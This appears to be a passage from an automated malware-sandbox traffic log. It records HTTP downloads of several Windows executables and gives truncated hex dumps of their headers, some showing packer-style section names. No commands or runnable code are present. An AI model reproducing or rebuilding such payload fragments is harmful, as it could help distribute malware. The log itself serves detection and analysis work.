Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 11 Feb 2025 07:52:43 GMTContent-Type: application/octet-streamContent-Length: 2161152Last-Modified: Tue, 11 Feb 2025 07:34:15 GMTConnection: keep-aliveETag: "67aafd77-20fa00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 60 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 4c 00 00 04 00 00 49 8f 21 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 58 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4c 47 4c 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fc 46 4c 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 80 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 58 04 00 00 00 90 06 00 00 04 00 00 00 90 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 94 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 60 2b 00 00 b0 06 00 00 02 00 00 00 96 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 72 74 72 78 6e 7a 69 6b 00 40 1a 00 00 10 32 00 00 3c 1a 00 00 98 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 76 79 68 7a 66 62 6a 6d 00 10 00 00 00 50 4c 00 00 04 00 00 00 d4 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 60 4c 00 00 22 00 00 00 d8 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 11 Feb 2025 07:52:47 GMTContent-Type: application/octet-streamContent-Length: 12904960Last-Modified: Sun, 09 Feb 2025 19:19:16 GMTConnection: keep-aliveETag: "67a8ffb4-c4ea00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 64 86 02 00 ee 26 b2 93 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 30 00 00 4c c2 00 00 9c 02 00 00 00 00 00 00 00 00 00 00 20 00 00 00 00 00 40 01 00 00 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 c5 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 40 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 20 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 c2 00 58 9a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 84 6a c2 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 3a 4b c2 00 00 20 00 00 00 4c c2 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 58 9a 02 00 00 80 c2 00 00 9c 02 00 00 4e c2 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 48 00 00 00 02 00 05 00 2c 2c 00 00 c8 2f 00 00 01 00 00 00 1e 00 00 06 f4 5b 00 00 90 0e c2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 13 30 03 00 da 00 00 00 01 00 00 11 16 0a 16 0b 7e 18 00 00 0a 0c 16 0d 38 bb 00 00 00 16 13 04 38 a2 00 00 00 02 11 04 09 6f 19 00 00 0a 13 05 16 13 06 38 81 00 00 00 06 19 5d 13 07 11 07 45 03 00 00 00 02 00 00 00 12 00 00 00 22 00 00 00 2b 2e 07 18 5a 12 05 28 1a 00 00 0a 18 5d 58 0b 2b 1e 07 18 5a 12 05 28 1b 00 00 0a 18 5d 58 0b 2b 0e 07 18 5a 12 05 28 1c 00 00 0a 18 5d 58 0b 06 17 58 0a 06 1e 5d 2d 2a 07 28 02 00 00 06 0b 07 2d 02 08 2a 07 1f 20 32 05 07 1f 7d 31 02 14 2a 07 d1 13 08 08 12 08 28 1d 00 00 0a 28 1e 00 00 0a 0c 11 06 17 58 13 06 11 06 19 3f 77 ff ff ff 11 04 17 58 13 04 11 04 02 6f 1f 00 00 0a 3f 51 ff ff ff 09 17 58 0d 09 02 6f 20 00 00 0a 3f 39 ff ff ff 08 2a 00 00 13 30 03 00 1d 00 00 00 02 00 00 11 16 0a 16 0b 2b 11 06 18 5a 02 18 5d 58 0a 02 18 5b 10 00 07 17 58 0b 07 1e 32 eb 06 2a 1e 02 28 21 00 00 0a 2a 00 00 00 13 30 04 00 3f 00 00 00 03 00 00 11 04 6f 22 00 00 0a 20 00 00 10 00 33 31 28 05 00 00 06 26 02 28 23 00 00 0a 20 a1 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 11 Feb 2025 07:53:03 GMTContent-Type: application/octet-streamContent-Length: 1862656Last-Modified: Tue, 11 Feb 2025 07:34:05 GMTConnection: keep-aliveETag: "67aafd6d-1c6c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 df 68 a3 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 2a 01 00 00 00 00 00 00 90 6b 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 c0 6b 00 00 04 00 00 05 c3 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 8c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 68 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 8c 03 00 00 00 a0 24 00 00 04 00 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 7c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 f0 2b 00 00 c0 24 00 00 02 00 00 00 7e 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 73 73 6a 66 6a 71 67 75 00 d0 1a 00 00 b0 50 00 00 c4 1a 00 00 80 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 63 70 6b 6f 62 6a 6d 68 00 10 00 00 00 80 6b 00 00 06 00 00 00 44 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 90 6b 00 00 22 00 00 00 4a 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 11 Feb 2025 07:53:06 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 11 Feb 2025 07:53:06 GMTContent-Type: application/octet-streamContent-Length: 2057216Last-Modified: Tue, 11 Feb 2025 06:36:10 GMTConnection: keep-aliveETag: "67aaefda-1f6400"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 12 25 9e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 66 04 00 00 ac 00 00 00 00 00 00 00 80 49 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 49 00 00 04 00 00 a0 56 20 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 90 05 00 6b 00 00 00 00 80 05 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 91 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 70 05 00 00 10 00 00 00 70 05 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 ac 01 00 00 00 80 05 00 00 02 00 00 00 80 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 90 05 00 00 02 00 00 00 82 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 10 2a 00 00 a0 05 00 00 02 00 00 00 84 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 62 64 61 78 69 72 61 6b 00 c0 19 00 00 b0 2f 00 00 b8 19 00 00 86 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 79 72 68 66 6f 6e 78 65 00 10 00 00 00 70 49 00 00 04 00 00 00 3e 1f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 80 49 00 00 22 00 00 00 42 1f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 11 Feb 2025 07:53:08 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 11 Feb 2025 07:53:06 GMTContent-Type: application/octet-streamContent-Length: 2161152Last-Modified: Tue, 11 Feb 2025 07:34:15 GMTConnection: keep-aliveETag: "67aafd77-20fa00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 60 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 4c 00 00 04 00 00 49 8f 21 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 58 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4c 47 4c 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fc 46 4c 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 80 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 58 04 00 00 00 90 06 00 00 04 00 00 00 90 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 94 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 60 2b 00 00 b0 06 00 00 02 00 00 00 96 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 72 74 72 78 6e 7a 69 6b 00 40 1a 00 00 10 32 00 00 3c 1a 00 00 98 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 76 79 68 7a 66 62 6a 6d 00 10 00 00 00 50 4c 00 00 04 00 00 00 d4 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 60 4c 00 00 22 00 00 00 d8 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
